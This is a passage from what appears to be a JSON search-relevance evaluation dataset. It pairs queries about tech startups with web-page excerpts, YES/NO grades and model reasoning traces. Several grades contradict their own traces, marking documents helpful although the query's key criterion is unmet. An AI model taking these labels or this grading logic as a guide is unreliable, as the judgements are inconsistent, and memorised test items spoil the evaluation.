                "title": "Sigma Robotics - Industrial Robot Automation",
                "url": "https://www.sigmarobotics.com/",
                "published_date": "2021-09-13",
                "text": "At Sigma Robotics, we continue to adapt our business in response to the COVID-19 outbreak.\nDuring this time, you may reach us at +1(312)766-0000\n\nWelcome to Sigma Robotics\n We guarantee high quality robot solutions for all your automation needs.\n\nWe Automate your Processes with end-to-end Engineering and Robotic Solutions \nWe provide high-end, top-quality products you can afford without financial pressure. We will customize your robotic automation processes and offer solutions to give you the competitive edge you need to surpass any competitor in the industry.\n LEARN MORE...\n\nResearch & Development\nWe cooperate with universities, national laboratories, government, and private companies to develop future robotic products and components. We use cutting-edge artificial intelligence, machine learning, and deep learning algorithms to develop robotic products such as 2D and 3D Cameras and roboZOOM\u00ae Robotic Vision.\n LEARN MORE...\n\nWe offer one of the widest Robotic Applications in the automation Industry\nWe offer a wide range of robotic applications, from pick-and-place automation to surface finishing, optimizing every detail of a large-size, fully integrated robotic production line. Your industry\u2019s vision has no limits\u2014ask one of our engineers how we can help you automate your processes and go beyond what you think is possible.\n SEE APPLICATIONS...",
                "model_trace": "Query Decomposition:\n1. {tech startup focused on developing advanced robotics and automation systems}: This document describes Sigma Robotics, which is a company focused on developing advanced robotics and automation systems -> ([1], SATISFIED)\n2. {acquired by a major industrial conglomerate}: There is no information in the document about Sigma Robotics being acquired by a major industrial conglomerate -> ([0], UNSURE)\n3. {acquired in 2021}: There is no information in the document about the acquisition happening in 2021 -> ([0], UNSURE)\n4. {acquisition for over $1 billion}: There is no information in the document about the acquisition amount being over $1 billion -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {tech startup focused on developing advanced robotics and automation systems}, which is satisfied. However, the document does not provide any information about the acquisition details. Therefore, it does not fully address the query. NO."
            },
            {
                "grade": "YES",
                "title": "HYUNDAI MOTOR GROUP COMPLETES ACQUISITION OF BOSTON DYNAMICS FROM SOFTBANK",
                "url": "https://www.bostondynamics.com/hyundai-motor-group-completes-acquisition",
                "published_date": "2023-01-01",
                "text": "Hyundai Motor Group acquires a controlling interest in Boston Dynamics from SoftBank, following regulatory approvals and other conditions \n The Group expects synergy between the companies to accelerate the development of cutting-edge robotics featuring advanced mobility, manipulation and vision capabilities \n With Boston Dynamics, the Group will create a robotics value chain, from robot component manufacturing to smart logistics solutions\n\nBOSTON/SEOUL/TOKYO, June 21, 2021 \u2013 Hyundai Motor Group (the Group), Boston Dynamics, Inc. and SoftBank Group Corp. (SoftBank), today announced the completion of the Group\u2019s acquisition of a controlling interest in Boston Dynamics from SoftBank, following the receipt of regulatory approvals and other customary closing conditions. The deal valued the mobile robot firm at US$1.1 billion. Additional financial details were not disclosed. \nPost-closing, the Group holds an 80 percent stake in Boston Dynamics and SoftBank, through one of its affiliates, retains the remaining 20 percent stake. \nBoston Dynamics is the established leader in developing agile, mobile robots that have been successfully integrated into business operations of many of the world\u2019s leading industrial firms. Advanced robotics offer opportunities for rapid growth with the potential to positively impact society by making work safer and more productive. \nBy acquiring Boston Dynamics and securing a leading presence in the field of robotics, the Group takes another major step toward its strategic transformation into a Smart Mobility Solution Provider. To propel this transformation, the Group has invested substantially in the development of future technologies, including autonomous driving, artificial intelligence (AI), Urban Air Mobility (UAM), smart factories and robots.\nIn the field of robotics, the Group aims to develop advanced technologies that enhance people's lives and promote safety, thereby realizing progress for humanity.\nThe deal is also expected to allow the Group and Boston Dynamics to leverage each other",
                "model_trace": "Query Decomposition:\n1. {tech startup focused on developing advanced robotics and automation systems}: The document mentions Boston Dynamics, which is known for developing advanced robotics -> ([1], SATISFIED)\n2. {was acquired by a major industrial conglomerate}: The document states that Boston Dynamics was acquired by Hyundai Motor Group, a major industrial conglomerate -> ([1], SATISFIED)\n3. {in 2021}: The acquisition was completed on June 21, 2021 -> ([1], SATISFIED)\n4. {for over $1 billion}: The deal valued Boston Dynamics at $1.1 billion -> ([1], SATISFIED)\n\nAssessment: All subcomponents are clearly satisfied by the document. YES."
            },
            {
                "grade": "NO",
                "title": "100 Top AI Companies Trendsetting In 2024 - Datamation",
                "url": "https://www.datamation.com/artificial-intelligence/ai-companies/",
                "published_date": null,
                "text": "Table of Contents\n   Cloud AI Companies   CRM Companies   Cybersecurity Companies   Data Analysis Companies   Data Quality Companies   Data Visualization Companies   Data Warehousing Companies   E-Commerce   Education Companies   Energy/Environment   Entertainment Companies   Financial Companies   Healthcare AI Companies   Manufacturing/Engineering   Robotics Companies   Vehicle/Transportation Companies   Bottom Line: Top AI Companies Trendsetting in 2024    \n   Cloud AI Companies   \nAI optimizes different aspects of cloud services, such as resource allocation, performance monitoring, and security management. In addition, AI algorithms analyze data from cloud environments to predict and preemptively address issues, for more reliable and efficient cloud operations.\n \n Alibaba Cloud \n Best for Big Data Analytics \n Headquarters: Hangzhou, China\nFounded: 2009\nAnnual Revenue: $479.5 million\nGlassdoor Score: 3.7/5\nAlibaba Cloud, a subsidiary of Alibaba Group, is a global leader in cloud computing and AI services. It provides a wide range of cloud solutions, including Elastic Compute Service (ECS), Object Storage Service (OSS), Container Service for Kubernetes (ACK), and Serverless Function Compute (FC). The company offers high-performance computing (HPC) capabilities, enabling organizations to perform complex data analytics tasks at lightning speed. This ensures rapid processing and analysis of massive datasets, reducing time-to-insight and enabling faster decision-making. Alibaba cloud has an extensive network of data centers and global presence, ensuring low-latency access to cloud services worldwide.\n \n DataRobot \n Best for Automated Machine Learning \n Headquarters: Boston, Massachusetts\nFounded: 2012\nAnnual Revenue: $338.2 million\nGlassdoor Score: 3.7/5\nDataRobot is a leading provider of automated machine learning (AutoML) solutions, empowering organizations to leverage AI technology without extensive data science expertise. Through its cloud-based platform, it gives businesses the tools they need to build, deploy,",
                "model_trace": "Query Decomposition:\n1. [tech startup focused on developing advanced robotics and automation systems]: The document mentions various AI companies, including those in the robotics sector -> ([1], UNSURE)\n2. [acquired by a major industrial conglomerate]: The document does not mention acquisitions -> ([0], UNSURE)\n3. [in 2021]: The document does not mention specific years -> ([0], UNSURE)\n4. [for over $1 billion]: The document does not mention acquisition amounts -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is [tech startup focused on developing advanced robotics and automation systems], but the document does not provide specific information about acquisitions, years, or amounts. Therefore, it does not satisfy the user's query effectively. NO."
            },
            {
                "grade": "NO",
                "title": "150 Top AI Companies of 2024: Visionaries Driving the AI ...",
                "url": "https://www.eweek.com/artificial-intelligence/ai-companies/",
                "published_date": null,
                "text": "eWEEK content and product recommendations are editorially independent. We may make money when you click on links to our partners. Learn More.\n  Artificial intelligence companies are riding a hyper-accelerated growth curve. The stunning debut of ChatGPT in November 2022 was the crack of a starting gun \u2014 the platform attracted 100 million users within months. The world woke up to the vast potential of AI, particularly generative AI.\nBut in truth, AI companies have enjoyed huge investments for years. Businesses have lavished money on machine learning, automation, robotics, and AI-based data analytics \u2014 even generative AI tools. The algorithm has become the foundational technology of business.\nTo chronicle this growth, this list of AI companies reflects the chaotic and moment-by-moment shifts disrupting the tech industry. It covers the full ecosystem of AI vendors: new generative AI companies, entrenched giants, AI purveyors across verticals, and upstart visionaries with a gleam in their eyes.\nThere\u2019s no telling which of these cohorts will most influence AI\u2019s future. Artificial intelligence is like no technology before it; it\u2019s the first technology in history that can evolve without human assistance, and so is wildly unpredictable.\nYet while many of these AI companies won\u2019t survive, the players on this list \u2014 as a whole \u2014 will profoundly reshape technology, not to mention education, the arts, retail, and the entirety of culture.\nThe end result of it all? Let\u2019s keep our fingers crossed.\n  Jump to the category:  \n  AI Companies: Giants  \n  AI Companies: Pioneers  \n  AI Companies: Visionaries  \n  AI Companies: Generative AI  \n  AI Companies: Enterprise Majors  \n  AI Companies: Robotics and Automation  \n  AI Companies: Conversational AI  \n  AI Companies: Healthcare  \n  AI Companies: Financial  \n  AI Companies: Education  \n  AI Companies: Cybersecurity  \n  AI Companies: Retail  \n  AI Companies: AI Industry Organizations  \n  The Bottom Line: AI Companies  \n AI Companies: The Giants \nIt\u2019s no coincidence that this top AI com",
                "model_trace": "Query Decomposition:\n1. {tech startup focused on developing advanced robotics and automation systems}: The document mentions a category for AI companies focused on robotics and automation -> ([1], SATISFIED)\n2. {was acquired by a major industrial conglomerate}: The document does not mention acquisitions by major industrial conglomerates -> ([0], UNSURE)\n3. {in 2021}: The document does not mention specific years for acquisitions -> ([0], UNSURE)\n4. {for over $1 billion}: The document does not mention acquisition values -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {tech startup focused on developing advanced robotics and automation systems}. Since the document does not address acquisitions, years, or acquisition values, it does not provide the specific information needed to answer the query fully. Therefore, it is not helpful for the user's specific request. NO."
            },
            {
                "grade": "NO",
                "title": "Amazon eyes AI, autonomous vehicles and Asia as $1B ...",
                "url": "https://techcrunch.com/2024/01/17/amazon-eyes-ai-autonomous-vehicles-and-asia-as-1b-innovation-fund-evolves/",
                "published_date": null,
                "text": "Amazon has spent nearly two years putting an undisclosed portion of its $1 billion industrial innovation fund to work with investments in nearly a dozen U.S. and Israeli startups focused on logistics, the supply chain and customer fulfillment. Now, Amazon is flexing a bit \u2014 with an aim to expand geographically and to push into areas like generative AI that support the broader mission, the fund\u2019s new head Franziska Bossart told TechCrunch in an exclusive interview.\nThe Amazon Industrial Innovation Fund, which launched in April 2022, is still intent on finding and investing in startups that can help the e-commerce giant deliver goods faster, while improving the experience of customers as well as the employees who work in its warehouses and logistics departments. The fund is also designed to build off of Amazon\u2019s previous investments in AI and robotics that have led to improvements in its operations, including the addition of robotic arms that perform repetitive tasks and automation vehicles that can help transport larger items. Its first tranche of investments in 2022 went to\nThe fund had a slow start with reportedly just $110 million invested into startups in its first year. The pace appears to have picked up since spring 2023 with investments in Veo Robotics, computer vision company Flymingo, industrial wireless automation startup CoreTigo, Rightbot and Instock. The fund even recently invested in an undisclosed generative AI startup, said Bossart, who would only say the company\u2019s technology could have a strong impact on robotics.\n\u201cThere\u2019s been momentum with the fund, especially at the end of the year, she added.\nNow the scope \u2014 geographically and thematically \u2014 is growing. Bossart told TechCrunch that she sees potential in Europe and Asia and would like the portfolio, which is largely made up of early-stage companies, to shift \u201ca little bit\u201d more towards investments in later-stage startups. The company also posted a blog Wednesday that outlines the fund\u2019s evolution.\nBossart is also homing in on three key areas: A",
                "model_trace": "Query Decomposition:\n1. {Tech startup focused on developing advanced robotics and automation systems}: The document mentions investments in startups focused on logistics, supply chain, customer fulfillment, AI, and robotics, including companies like Veo Robotics and Rightbot -> ([1], SATISFIED)\n2. {Acquired by a major industrial conglomerate in 2021}: The document does not mention any acquisitions by a major industrial conglomerate in 2021 -> ([0], UNSURE)\n3. {Acquisition amount over $1 billion}: The document does not mention any acquisition amounts over $1 billion -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {Tech startup focused on developing advanced robotics and automation systems}, which is satisfied. However, the document does not provide information about the acquisition by a major industrial conglomerate in 2021 or the acquisition amount. Therefore, the document does not fully satisfy the query.\n\nNO."
            }
        ]
    },
    {
        "query": "What AI-driven logistics and supply chain management company was recently named one of the fastest-growing startups in the United States?",
        "grid_pos": [
            1,
            4
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Company/Startup/Corporation",
        "reasoning_trace": [
            "These queries are designed to test Exa's ability to understand and provide relevant information about innovative technology startups and companies. The queries cover a range of industries like AI, robotics, logistics, education, and cybersecurity, requiring knowledge of current trends and developments in the startup ecosystem. The queries are specific and detailed, yet open-ended enough to allow Exa to demonstrate its ability to comprehend complex queries and retrieve appropriate information."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Reimagine Supply Chain Planning",
                "url": "https://convect.ai/",
                "published_date": "2023-01-01",
                "text": "Reimagine Supply Chain Planning Don't wait many months for a proof of concept. Start optimizing your supply chain today. Get started for free Trusted by companies of all sizes Dynamically balancing your supply chain Adjust production and reroute your supply chain in real time. Increased agility Respond quickly to changing market demands and disruptions. Reduced costs Use more efficient transportation routes, modes, and carriers. Improved customer service Ensure faster and more reliable delivery times. Get started for free What you can do with Convect AI Supply Chain Master Planning Optimize the entire supply chain from sourcing materials to shipping products, all at once. Explore Distribution Requirements Planning Optimize the movement of products from manufacturing sites to warehouses in the most cost-effective manner. Explore And much more... From demand forecasting to inventory planning, you have the tools to make smart decisions about your supply chain. Optimize the entire supply chain, or any part of it \nYou have options:\n\nCoordinate procurement, production, logistics, and sales by optimizing the entire supply chain all at once, or\n Separately optimizing operations of different segments of the supply chain.\n Get started for free WHAT CUSTOMERS SAY ABOUT US Convect AI's Distribution Planner saved us over $3 million annually in transportation cost alone. And it's so easy to use. Its features out of the box are enough to manage our large network of manufacturing facilities and warehouses. Why people love Convect AI Powerful Truly AI-backed algorithms make optimizations across the entire supply chain network. Easy to use If you know how to use Excel, then you know how to use our intuitive user interface. Customizable Don't change your process to fit the software. Let them work for you and your need. Why working with us Convect AI helps the best brands become faster Faster Responses Eliminate manual work in handling supply chain planning. Automate your operations using AI-powered tools. Faster Collaboration Strea",
                "model_trace": "Query Decomposition:\n1. {AI-driven logistics and supply chain management company}: The document describes Convect AI as a company that uses AI to optimize supply chain management -> ([1], SATISFIED)\n2. {recently named one of the fastest-growing startups in the United States}: The document does not mention any recent accolades or being named one of the fastest-growing startups -> ([0], UNSURE)\n\nAssessment: The document satisfies the subcomponent related to being an AI-driven logistics and supply chain management company but does not provide information about being named one of the fastest-growing startups. Since the key subcomponent about the accolade is tagged [0] and thus ignored in the evaluation, the document is still helpful for the user's query. YES."
            },
            {
                "grade": "NO",
                "title": "Noodle.ai | Supply Chain System of Intelligence",
                "url": "https://noodle.ai/",
                "published_date": "2023-01-01",
                "text": "Make ProfitNot Waste The Noodle.ai system of intelligence manages supply chain risk to conquer hidden waste and boost profits. Math is our strong suit. Now it can be yours too. The pandemic threw supply chains into crisis, and companies realized their most trusted tools couldn\u2019t keep up with today\u2019s volatility.\nNoodle.ai software uses some of the most advanced math on the planet to tame global supply chain chaos\u2014so the right stuff gets to the right place at the right time with less drama. Add AI intelligence to your supply chain planning stack, effortlessly. The Noodle.ai system of intelligence injects intelligent decisions into your existing systems of record and systems of planning, cleaning up costly errors caused by fixed rules, not enough data, and \u201cbad math.\u201d\nWith a library of data connectors to SAP APO/IBP, o9, Kinaxis, and more, adding AI intelligence to your planning stack is easy. See exactly how much money you\u2019re about to lose. Anyone can send nerds to strategic customer meetings to hold forth on the superiority of their algorithms. We do this too. But we have a secret weapon that sets us apart from the crowd, and it\u2019s called Value at Risk.\nValue at Risk shows you the hard money costs of each of the millions of errors made by your planning stack, for both demand and supply, across raw materials, production, and distribution. We capture the value at risk\u2014that others miss. The Noodle.ai system of intelligence creates millions of AI-generated corrective actions and automatically updates your supply chain systems, operating at a scale that\u2019s beyond-the-reach of humans.\nThis means we capture all the potential value that\u2019s out there\u2014not just some. Watch AI pay for itself. Only at Noodle.ai The best part? We tally up the savings. Every single course-correction to your systems means waste that's been prevented, and money that's been saved.\nThis is AI that accounts for itself, where you\u2019ll know exactly how much difference our technology makes to your bottom line.\nWhere can you see this? Only at Noodle.ai. Explo",
                "model_trace": "Query Decomposition:\n1. {AI-driven logistics and supply chain management company}: The document clearly describes Noodle.ai as an AI-driven company focused on supply chain management -> ([1], SATISFIED)\n2. {recently named one of the fastest-growing startups in the United States}: The document does not provide information about whether Noodle.ai was recently named one of the fastest-growing startups in the United States -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent that can be evaluated is {AI-driven logistics and supply chain management company}, which is satisfied. The other subcomponent cannot be evaluated based on the document content. Therefore, the document partially meets the query requirements but does not fully satisfy the user's intent of finding a company recently named as one of the fastest-growing startups.\n\nNO."
            },
            {
                "grade": "NO",
                "title": "Transformational Supply Chain Automation for a Sustainable Future - Vorto",
                "url": "https://vorto.ai/",
                "published_date": "2022-04-22",
                "text": "Your supply chain is \nBROKEN\nRebuild your supply chain with transformational automation that dramatically increases utilization and revenue \u2014 for buyers, suppliers and logistics providers. What if your business could\u2026 ? \n Eliminate Expensive Driver Detention \nMove the same freight \u2013 with 66% fewer trucks on the road \n Improve driver utilization by 248% \n Decrease supply chain spending by 40% \n Eliminate 150,000 tons of C02 emissions These are just some of the results our clients are seeing across their supply chains. Vorto-powered businesses save upwards of $480 million a year. Free Trial Try Vorto Today! We\u2019re so confident you\u2019ll see massive impact on your supply chain, we\u2019re offering a free trial. It\u2019s Not You, It\u2019sYour Supply Chain The global pandemic revealed just how fragile our supply chains really are. Add driver shortage, inflation and rising fuel costs to standard interruptions like weather, road closures and accidents and it\u2019s clear our supply chains need to change \u2014 both to function and to thrive. A Love TriangleThat Works Even in the best of times, the relationship between buyer, supplier and logistics provider can only be described as \u201cIt\u2019s Complicated\u201d. Vorto powers a supply chain reset so everyone is in sync. Our AI-powered SaaS platform predicts demand for suppliers, finds fleets and drivers for outbound transportation, and automates payments. Join our growing network. The CEO for one of the world\u2019s largest energy companies used the words \u201cimpact\u201d, \u201cdisruptive\u201d and \u201ceffective\u201d when describing their relationship with Vorto. Vorto \u2014 Not Your Average Supply Chain Management Software Predicting What Happens Next Supply and demand is a guessing game at best, or at least it used to be. Vorto predicts the demand for each product the buyer needs (inbound or outbound), procures it from their supplier network, and automatically schedules logistics and carriers to fulfill this demand. And because Vorto\u2019s AI learns from consumption over time, utilization increases and optimal inventory is maintained. Making T",
                "model_trace": "Query Decomposition:\n1. {AI-driven logistics and supply chain management company}: The document describes Vorto as an AI-powered supply chain management company -> ([1], SATISFIED)\n2. {recently named one of the fastest-growing startups in the United States}: The document does not mention any accolades or recognition as one of the fastest-growing startups in the United States -> ([0], UNSURE).\n\nAssessment: The relevant subcomponent is {AI-driven logistics and supply chain management company}, which is satisfied. However, the document does not provide information about the company being recently named one of the fastest-growing startups in the United States. Since this is a crucial part of the query, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Enhancing operational intelligence in supply chain management ...",
                "url": "https://www.scmr.com/article/enhancing-operational-intelligence-in-supply-chain-management-through-ai-ml",
                "published_date": null,
                "text": "Four years after the COVID-19 pandemic reshaped global supply chains, businesses continue to grapple with the aftermath of the crisis while simultaneously navigating emerging challenges such as geopolitical tensions, climate change, and rapidly evolving consumer preferences.\nIn this complex and dynamic landscape, the need for resilient, agile, and intelligent supply chain systems has never been more apparent. Artificial intelligence (AI), machine learning (ML), and the emerging field of generative AI hold immense potential to revolutionize supply chain management (SCM) by enabling proactive, data-driven decision-making and optimizing operations in real-time.\nUnderstanding AI and ML in SCM\nAs traditional SCM models struggle to keep pace with the growing demand for real-time decision-making, the adoption of AI and ML technologies is becoming increasingly critical. McKinsey reports that early adopters of AI-enabled SCM have achieved impressive improvements, including 15% reductions in logistics costs, 35% decreases in inventory levels, and 65% increases in service levels. These technologies are transforming key areas of SCM, from demand sensing and supply chain visibility to risk identification, leading to increased efficiency, reduced costs, and enhanced customer satisfaction.\nEnhancing real-time decision making with AI/ML\nIn the realm of SCM, AI and ML are driving a shift from traditional to agile and intelligent operations, enabling predictive reasoning and autonomous decision-making. Let's explore some key applications:\n\t Demand forecasting: AI/ML algorithms can analyze real-time data from various sources, such as sales records, customer behavior, and market trends, to generate accurate demand forecasts. By predicting short-term and long-term customer demand, organizations can optimize inventory levels, reduce waste, and improve responsiveness to market fluctuations.\n\t Inventory optimization: Balancing overstocking and understocking is a critical challenge in SCM. AI/ML can analyze historical data, demand patter",
                "model_trace": "Query Decomposition:\n1. {AI-driven logistics and supply chain management company}: The document discusses AI and ML in supply chain management but does not mention a specific company -> ([0], UNSATISFIED)\n2. {recently named one of the fastest-growing startups in the United States}: The document does not provide information about any companies being named as the fastest-growing startups -> ([0], UNSATISFIED)\n\nAssessment: The document does not satisfy any of the subcomponents as it does not mention a specific AI-driven logistics and supply chain management company or any company being recently named one of the fastest-growing startups in the United States. NO."
            },
            {
                "grade": "YES",
                "title": "Top 10 Startups developing AI for Logistics",
                "url": "https://www.ai-startups.org/top/logistics/",
                "published_date": null,
                "text": "Updated: February 27, 2024       AI can deliver enormous benefits to supply chain and logistics operations, including cost reductions through reduced redundancies and risk mitigation, improved forecasting, faster deliveries through more optimized routes, improved customer service, and more.     1     Country: Canada | Funding: $602.6M SCALE AI is an industry-led consortium that shapes a new global supply chain platform. Scale AI also works with US Department of Defense to test generative AI models for military use.   2     Country: Israel | Funding: $260M Optibus is a developer of an AI-enabled SaaS platform for planning and running mass transportation.   3     Country: USA | Funding: $222M Covariant is building universal AI that allows robots to see, reason and act on the world around   4     Country: USA | Funding: $122.9M Gatik AI is the autonomous vehicle startup that\u2019s aiming for the sweet middle spot in the world of logistics   5     Country: USA | Funding: $122M Altana\u2019s Trusted Commerce Platform helps businesses and governments collaborate through a shared source of truth on the global supply chain.   6     Country: India | Funding: $78.8M Locus is an intelligent decision-making and automation platform for logistics. It uses AI to help businesses map out their logistics   7     Country: Israel | Funding: $75.7M NoTraffic develops AI-based traffic management platform   8     Country: India | Funding: $49.6M LogiNext is a leading global enterprise SaaS company for field service and logistics optimisation, using data analytics and machine learning algorithms to optimise movements across the globe.   9     Country: Estonia | Funding: $41.9M Eurora develops AI-based system to automate EU e-commerce shipping compliance   10     Country: USA | Funding: $37.5M Pickle Robot builds autonomous parcel handling robots for brownfield facilities that palletize, depalletize, sort, and singulate.   Ad \u00a0Advertise your startup   11     Country: USA | Funding: $36.8M Aquifi combines 3D vision and machine learning to solve pr",
                "model_trace": "Query Decomposition:\n1. {AI-driven logistics and supply chain management company}: The document lists startups developing AI for logistics and supply chain management -> ([1], SATISFIED)\n2. {recently named one of the fastest-growing startups in the United States}: The document does not specify which company was recently named one of the fastest-growing startups in the United States -> ([0], UNSURE)\n\nAssessment: The document lists several AI-driven logistics and supply chain management companies, satisfying the first subcomponent. However, it does not provide information on whether any of these companies were recently named one of the fastest-growing startups in the United States. Since the second subcomponent is tagged [0], it does not affect the evaluation.\n\nGiven that the document satisfies the relevant subcomponent, it is helpful for the user's query. YES."
            },
            {
                "grade": "NO",
                "title": "AI in Logistics: Emerging Startups, Challenges and Use Cases ...",
                "url": "https://datarootlabs.com/blog/ai-in-logistics-emerging-startups-remaining-challenges-and-new-models",
                "published_date": null,
                "text": "6 River Systems\n   Boston, MA / 2015 46M B Menlo Ventures, Norwest Venture Partners\t  6 River Systems redefines fulfilment automation for e-commerce and retail operations via building flexible and scalable warehouse automation that engages associates, keeps them on task and provides a 2-3x productivity boost.\n      \n Acerta\n   Canada / 2014 10.9M A OMERS Ventures, Techstars, M12  Acerta is a ML-based failure prediction software solution. IT is augmenting technical know-how with machine learning to uncover actionable insights from vehicle and production data. They are helping automakers get complex products to market faster and with fewer defects, amplifying domain knowledge with artificial intelligence to locate the earliest indicators of future product failures.\n      \n AiDock\n   Israel / 2018 2M Seed theDOCK Innovation Hub  AiDock is creating the future of the supply-chain service providers by automating all paperwork-related tasks in the export and import of goods, leading the AI revolution in the supply chain and logistics industry.\n      \n AKUA\n   US / 2016 3M A Crosslink Capital, Plug and Play, Momenta Ventures  AKUA is a subscription data service delivering actionable, real-time, and secure business intelligence directly to cargo owners. Their flexible IoT platform provides persistent environmental monitoring and tracking solutions for intermodal cargo containers with no new equipment to buy or manage.\n      \n Alloy\n   US / 2017 15.3 A Menlo Ventures, 8VC  Alloy equips consumer goods brands to capture demand and streamline supply by breaking down silos within and across supply chain, sales, and marketing teams. Our cloud platform couples end-to-end inventory and shipment visibility with sell-in and sell-through analytics to surface relevant insights in real-time. Team members and leaders can proactively address risks and maximize opportunities as they monitor demand trends, evaluate performance against forecasts and drive collaboration internally and with partners to adjust execution and plans \u2014 down to th",
                "model_trace": "Query Decomposition:\n1. {AI-driven logistics and supply chain management company}: The document lists several AI-driven logistics and supply chain management companies -> ([1], SATISFIED)\n2. {recently named one of the fastest-growing startups in the United States}: The document does not specify whether any of these companies were recently named one of the fastest-growing startups in the United States -> ([0], UNSURE)\n\nAssessment: The document contains information about AI-driven logistics and supply chain management companies, but it does not provide information on whether any of these companies were recently named one of the fastest-growing startups in the United States. Therefore, it does not fully satisfy the query. NO."
            }
        ]
    },
    {
        "query": "Which online education platform that offers interactive courses and certifications in in-demand tech skills was founded by a team of former university professors?",
        "grid_pos": [
            1,
            4
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Company/Startup/Corporation",
        "reasoning_trace": [
            "These queries are designed to test Exa's ability to understand and provide relevant information about innovative technology startups and companies. The queries cover a range of industries like AI, robotics, logistics, education, and cybersecurity, requiring knowledge of current trends and developments in the startup ecosystem. The queries are specific and detailed, yet open-ended enough to allow Exa to demonstrate its ability to comprehend complex queries and retrieve appropriate information."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Learn the Latest Tech Skills; Advance Your Career | Udacity",
                "url": "https://www.udacity.com/",
                "published_date": "2011-01-01",
                "text": "Udacity is the trusted market leader in talent transformation. We change lives, businesses, and nations through digital upskilling, developing the edge you need to conquer what\u00e2\u0080\u0099s next. Udacity* Nanodegree programs represent collaborations with our industry partners who help us develop our content and who hire many of our program graduates. \"Nanodegree\" is a registered trademark of Udacity. \u00c2\u00a9 2011\u00e2\u0080\u00932023 Udacity, Inc. *not an accredited university and doesn\u00e2\u0080\u0099t confer traditional degrees",
                "model_trace": "Query Decomposition:\n1. {online education platform}: The document is about Udacity, an online education platform -> ([1], SATISFIED)\n2. {offers interactive courses and certifications in in-demand tech skills}: The document mentions Udacity's Nanodegree programs, which are collaborations with industry partners and focus on digital upskilling, implying they offer interactive courses and certifications in tech skills -> ([1], SATISFIED)\n3. {founded by a team of former university professors}: The document does not provide information about the founders of Udacity -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {online education platform} and {offers interactive courses and certifications in in-demand tech skills}, both of which are satisfied. The document does not provide information on the founders, but this does not affect the evaluation based on the guidelines. YES."
            },
            {
                "grade": "YES",
                "title": "About Us | Udacity",
                "url": "https://www.udacity.com/us",
                "published_date": "2011-01-01",
                "text": "We turn talent into greatness. Udacity is the trusted market leader in talent transformation. We change lives, businesses, and nations through digital upskilling, developing the edge you need to conquer what\u00e2\u0080\u0099s next. Creating the job-ready digital skills that empower achievement.\nUdacity\u00e2\u0080\u0099s proven playbook is globally scalable, addressing the widespread digital talent shortages that impact growth, productivity, and innovation. We collaborate with enterprises and highly motivated individuals to design a tailored talent transformation journey enabled by our Digital Competency Platform.\nOur exclusive content is co-created and continually refined with industry leaders. Each Udacity program is deeply focused\u00e2\u0080\u0094eliminating guesswork in selecting the right course. Projects go far beyond step-by-step guides, cultivating the critical thinking required for workplace relevance. Expert mentors unblock learning with personalized support, and verify complete mastery of competencies.\n 16.9M+ registered users in more than 240 countries 2.6M+ projects submitted 205K Nanodegree certificates earned 73% of graduates reported a favorable career change in the first 12 months 1 Content co-created with From democratizing education to talent transformation.\nUdacity began when Stanford instructors Sebastian Thrun and Peter Norvig had a revolutionary idea to offer their \"Introduction to Artificial Intelligence\" course online\u00e2\u0080\u0094to anyone, for free. \nOver 160,000 students in more than 190 countries enrolled, demanding a new way to deliver education. A startling discovery emerged: The top 400 students weren\u00e2\u0080\u0099t from Stanford. This revelation sparked a mission to make lifelong learning more equitable and inclusive. Udacity has been expanding opportunities ever since. \nBuilding on this globally accessible upskilling platform, Udacity evolved into talent transformation. By creating the next level of job-ready digital talent, we equip professionals and organizations to excel in some of the world\u00e2\u0080\u0099s most exciting disciplines.",
                "model_trace": "Query Decomposition:\n1. {online education platform}: The document is about Udacity, which is an online education platform -> ([1], SATISFIED)\n2. {offers interactive courses and certifications in in-demand tech skills}: The document mentions that Udacity offers Nanodegree certificates and courses co-created with industry leaders, which implies interactive courses and certifications in in-demand tech skills -> ([1], SATISFIED)\n3. {founded by a team of former university professors}: The document states that Udacity was founded by Stanford instructors Sebastian Thrun and Peter Norvig -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Home",
                "url": "https://stackskills.com/",
                "published_date": "2023-01-01",
                "text": "Think Bigger.Work Smarter.Grow Faster.\nGet inspired to evolve your career with courses in tech, business, marketing, and beyond!\n Explore\n\nReal skills that change lives\nOur on-demand courses are taught by experts who\u2019ve been on the front lines of their industries, so you can learn from their mistakes, and build on their successes.\n\nTHINK BIGGER\nThey say dream big, we say go big. Our courses are designed to give you real-world skills that land jobs, not just gold stars.\n\n4,000+ Courses\n\n1 Million+ Students\n\nWORK SMARTER\nOur exclusive course bundles guide you from beginner to expert \u2014 and skip the fluff. Plus, special pricing saves you major $$.\n\n100+ Bundles\n\n$1,000+ Saved Per Bundle\n\nGROW FASTER\nAccelerate your career with 24/7 course access and valuable industry certifications that make or break resumes. 19,500+ students join StackSkills each month. Are you next?\n\n600+ Instructors\n\n50+ Courses Added Monthly\n\nPopular Bundles\nDon\u2019t know where to start learning? Let our course bundles guide you by helping you develop the right skills, one course at a time. View more \u00bb\n\nWhat our students are saying about us\n\n\"The courses are very well laid out and easy to understand. Stackskills has really helped me prepare for certification tests just as extra practice and even just learning new skill sets for the fun of it.\"\n\n\"Exceptional quality, usable quantity, affordable, current-relevant subjects/products offered, ease of use and good customer service. Thanks for caring about your customers!\"\n Maria B.\n\n\"StackSkills is so easy to use, anyone can learn anything they want there. I've bought several bundles and have over 30 courses waiting to be learned and I love it!\"\n Richard D.\n\n\"The quality of the courses advertised through stackskills.com is very high! I have bought a number of courses that were advertised through this platform and these course have certainly helped me advance in my career as an IT Technician.\"\n Louis S.\n\nWorld Class Instructors\nLearn from experts with real world industry experience. Sign Up To Teach\n\nAs Se",
